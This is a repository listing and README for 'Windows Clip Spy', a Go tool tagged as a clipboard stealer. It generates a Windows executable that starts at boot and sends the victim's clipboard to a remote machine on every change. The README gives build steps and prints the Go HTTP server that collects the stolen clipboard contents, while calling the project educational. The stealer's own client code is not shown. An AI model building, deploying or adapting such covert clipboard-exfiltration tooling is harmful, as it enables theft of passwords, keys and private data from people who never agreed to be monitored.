https://github.com/piterweb/windowsclipspy
📋 Clipboard stealer 🦝 for Windows
https://github.com/piterweb/windowsclipspy
cli clipboard clipboard-copy go golang http malware stealer tool windows
Last synced: 5 months ago
JSON representation
📋 Clipboard stealer 🦝 for Windows
- Host: GitHub
- URL: https://github.com/piterweb/windowsclipspy
- Owner: PiterWeb
- License: apache-2.0
- Created: 2022-06-23T16:40:40.000Z (over 3 years ago)
- Default Branch: master
- Last Pushed: 2022-06-24T15:41:03.000Z (over 3 years ago)
- Last Synced: 2024-06-20T22:33:58.253Z (over 1 year ago)
- Topics: cli, clipboard, clipboard-copy, go, golang, http, malware, stealer, tool, windows
- Language: Go
- Homepage:
- Size: 4.9 MB
- Stars: 5
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: License
Awesome Lists containing this project
README
# 👓 Windows Clip Spy
### Description
💻 This is a terminal tool 🔧 which generates an executable to send your clipboard 📋 on each update to another machine ⚙. Made with educational porpuses
## Purpouse
📖 Learn
- how to interact with Windows to start a programm on the OS init
- get the clipboard on updates
- create a simple terminal tool from scratch to generate executables
- make golang background programs## Technologies used 📘
### Golang (Go)
#### Pakages 📦:
1. clipboard (Get the clipboard)
2. go-autostart (Start on the Windows init)
3. go-toml (Set and get config vars between the terminal tool and the final executable)## How to use it
### Prerequisites :
- go 1.18
#### Clone the repository 📎
git clone https://github.com/PiterWeb/WindowsClipSpy
cd WindowsClipSpy
#### Install all the packages 📉go mod install
go mod verify#### Build the terminal tool 👷♂️
go build .
# This will generate the tool on an executable at the root folder of the project#### Use the tool 🔨
Open the executable and introduce the config in the terminal that will appear
#### Listen for the clipboard on the url you specified 🔊
I had prepare the code for the server with the go http package.
This code should be runned on a different folder to work well.// /server.go
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
const (
Port = "8080"
Host = "localhost"
)
func main() {
fmt.Println("Server is running on port: ", Port)
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
body, err := ioutil.ReadAll(r.Body)
if err != nil {
log.Fatal(err)
}
fmt.Println(string(body))
})
http.ListenAndServe(Host+":"+Port, nil)
}
---
cd
go mod init github.com/PiterWeb/WindowsClipSpy/server
go run server.go